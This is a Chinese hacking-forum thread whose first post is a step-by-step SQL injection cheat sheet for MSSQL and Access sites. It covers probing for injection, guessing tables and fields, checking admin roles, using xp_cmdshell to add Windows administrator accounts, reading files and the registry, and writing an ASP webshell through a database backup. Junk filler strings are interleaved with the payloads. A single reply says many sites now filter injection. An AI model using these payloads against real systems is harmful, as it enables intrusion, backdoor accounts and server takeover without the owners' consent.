找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2283|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
6 x7 R$ Z/ r* L, A. c1.判断是否有注入;and 1=1 ;and 1=2 9 B& S% {! A/ r
/ g( [5 V9 i$ E1 F6 r5 b/ c
2.初步判断是否是mssql ;and user>0 / v9 U$ ~, k' @. ?5 L( ^2 s

3 S+ S# T0 @" E& w8 U3.注入参数是字符'and [查询条件] and ''=' + H, w( `/ x+ B6 l' k7 C) F

; Q% q7 J5 q8 L  ?- E* u) F, U9 T5 Y4.搜索时没过滤参数的'and [查询条件] and '%25'=' / q7 g2 [0 Y2 i* G( _

& E$ }. S; D2 M5.判断数据库系统   x4 y$ m! F  ^; R3 Q2 Y0 m
;and (select count(*) from sysobjects)>0 mssql
, l# S! J2 l" X* W) N6 r' p2 [;and (select count(*) from msysobjects)>0 access 8 E' _" n1 N0 m1 S1 f
; H7 Z$ P1 d3 q; P4 p, @
6.猜数据库 ;and (select Count(*) from [数据库名])>0
1 e$ ~* W: E6 ~4 T
5 I, \+ O/ R2 f' h& T; F0 w7.猜字段 ;and (select Count(字段名) from 数据库名)>0 : q# U! W7 B, D2 I& f( P

/ z/ Y! M/ Q/ H4 D. U9 _! j8 e* J8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
/ l5 q2 h+ M: y# A9 m1 @- n, \
/ E; y+ d0 p8 P- C5 c* a9.(1)猜字段的ascii值(access)
$ Q* S" Z" D9 D% O, D, {;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0 s; {1 x0 r3 |2 ~) w6 Y* D

" S4 q- V1 ?2 O8 L; U2 j$ s% c(2)猜字段的ascii值(mssql) - z8 G3 ]- S7 |: o3 y2 Y4 s" o
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
% P: y- u/ v7 q% [0 W/ e. w+ M  D: }8 P7 h5 q
10.测试权限结构(mssql)
$ h! ?8 b" W7 D. F2 j7 A;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- - b2 B9 ~8 n3 W% S
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
2 l  s7 V7 l6 d6 ~;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
5 v% \! k4 o  H, F;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 O2 L3 z7 G5 N0 [
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , Y  }9 x0 f2 b( O7 e% k: q; ?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
( n! c, Q) c) r  `7 _;and 1=(select IS_MEMBER('db_owner'));-- 7 m3 x6 W+ k! U# h
+ T7 i! X+ |) i; y/ h
11.添加mssql和系统的帐户
. g6 E( k$ V7 };exec master.dbo.sp_addlogin username;--
( _+ z6 I- u6 n  B- {, ^& k
8 X5 ~" f  C& R$ Z2 ^) a. _0 J: c;exec master.dbo.sp_password null,username,password;--
/ s8 s" Y$ o6 k9 C% l6 f4 N: j% F# t3 W. c% I
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) I0 q  ^: h4 H# X( a$ o
6 W+ d  Y  t3 w6 O  _5 U;exec master.dbo.xp_cmdshell 'net user username password ) a& Z' ?6 v* K! p
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--   x- _2 W; b* U# `3 G
* x7 Q- p/ ~0 W  J, t2 p* o) X% R$ D
;exec master.dbo.xp_cmdshell 'net user username password /add';--
# L% a- \6 o4 Y/ ^9 ?2 a8 t% ~
5 H# B9 D- w) Z. Y2 ~; g;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 1 v4 u6 R6 w; n

; b. m$ M- _4 S1 r8 y$ W. Q+ T$ T12.(1)遍历目录 6 Q9 T. J4 j  r9 q
' D% s0 Z& X) [" B) |* c& z& p
;create table dirs(paths varchar(100), id int)
0 S; {" n4 Z" |) U$ a; l;insert dirs exec master.dbo.xp_dirtree 'c:\'
) g) R1 J( x& y" \;and (select top 1 paths from dirs)>0 0 K4 `0 x1 T7 l6 G1 P5 k
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
- o+ A5 L: t6 h
- r& R& s: k3 e6 s/ f0 |2 R(2)遍历目录 / ?- U+ h8 A( M' c
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5 {" Y0 a% l5 m. M8 [/ X) K;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 V8 r: `# t' k* H; j9 w( g) ?
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
5 C5 u! j4 V6 U;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
, T( m# r9 a& v- k;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
7 {6 p8 Q5 ~) g; a
( N0 P% E* ]  j- T, U13.mssql中的存储过程
: B8 K7 \1 L$ x. N$ ~1 o  Q3 S* P5 c
xp_regenumvalues 注册表根键, 子键
2 ]$ e/ Y' e+ i' q6 M# h1 H;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 & Z* p5 z) X8 o2 E. w# F2 Q5 x

- l& f+ K3 x+ f: E8 exp_regread 根键,子键,键值名
" G3 C& j9 @: e; Z0 J' A;exec xp_regread 0 t4 e" ]- a3 i" z7 F
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 b$ z! b; X/ ^1 g
+ V4 u, S6 P8 k* a" W  M
xp_regwrite 根键,子键, 值名, 值类型, 值 8 Z, j4 M: w; U
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
& N# Q/ m! ?" X3 n9 l;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ( z; |. f% |' C+ t9 D5 u% \0 ]
7 T6 N" x4 u0 d7 e( y1 f& J$ `
xp_regdeletevalue 根键,子键,值名 ! D2 @6 r, j2 r3 A- g$ K# d

" x  e  Q: s" x8 r9 qexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 8 X! Y7 j" M7 B1 M4 E( L9 b' S
/ q" V, Y! ]4 }3 l  D5 _$ c
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ! b7 A8 K5 Q" S; e" s1 U6 @1 w

, |/ V7 D5 @5 W2 F' F3 o8 T14.mssql的backup创建webshell 4 H9 S$ u! P. t/ F
use model
$ q6 Z4 j( {0 X+ Z9 n" ecreate table cmd(str image); - l8 G3 J$ h: q
insert into cmd(str) values (''); 4 j3 n8 W6 O: z' _$ c# B
backup database model to disk='c:\l.asp';
/ {# |8 @0 M0 ?% J8 L! O
9 P- T, F) ^0 Q! Q/ z0 E15.mssql内置函数
9 g2 ?. X) S1 |& U. D' m6 j;and (select @@version)>0 获得Windows的版本号 : F- o& q0 l% Y/ l
;and user_name()='dbo' 判断当前系统的连接用户是不是sa / O; F$ n; a1 r% Y- D, {" o
;and (select user_name())>0 爆当前系统的连接用户
: B- |) p6 x# m5 T/ Y* Z! n;and (select db_name())>0 得到当前连接的数据库 ' ]7 q, K) [% T! Q

. I! y& m2 o+ ]- j$ O16.简洁的webshell , p1 W1 g. b$ p( l, v5 h1 O
8 u& U: i5 @- X1 O: S( P
use model ! W9 k8 \$ Q; n9 Z1 f9 o, S1 S
+ Y, p; [3 {$ N
create table cmd(str image);
" B7 r5 l3 J% M, \0 ]* P0 o; }5 T- v4 \1 _
insert into cmd(str) values ('');
: M( ^! v" t0 j' x2 F+ q
/ X, n: s- k6 v0 t( ]  ?* M6 fbackup database model to disk='g:\wwwtest\l.asp';
( b, V, \1 k5 D, |, @# r9 | ! ~- q' o; _- V  F& b
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表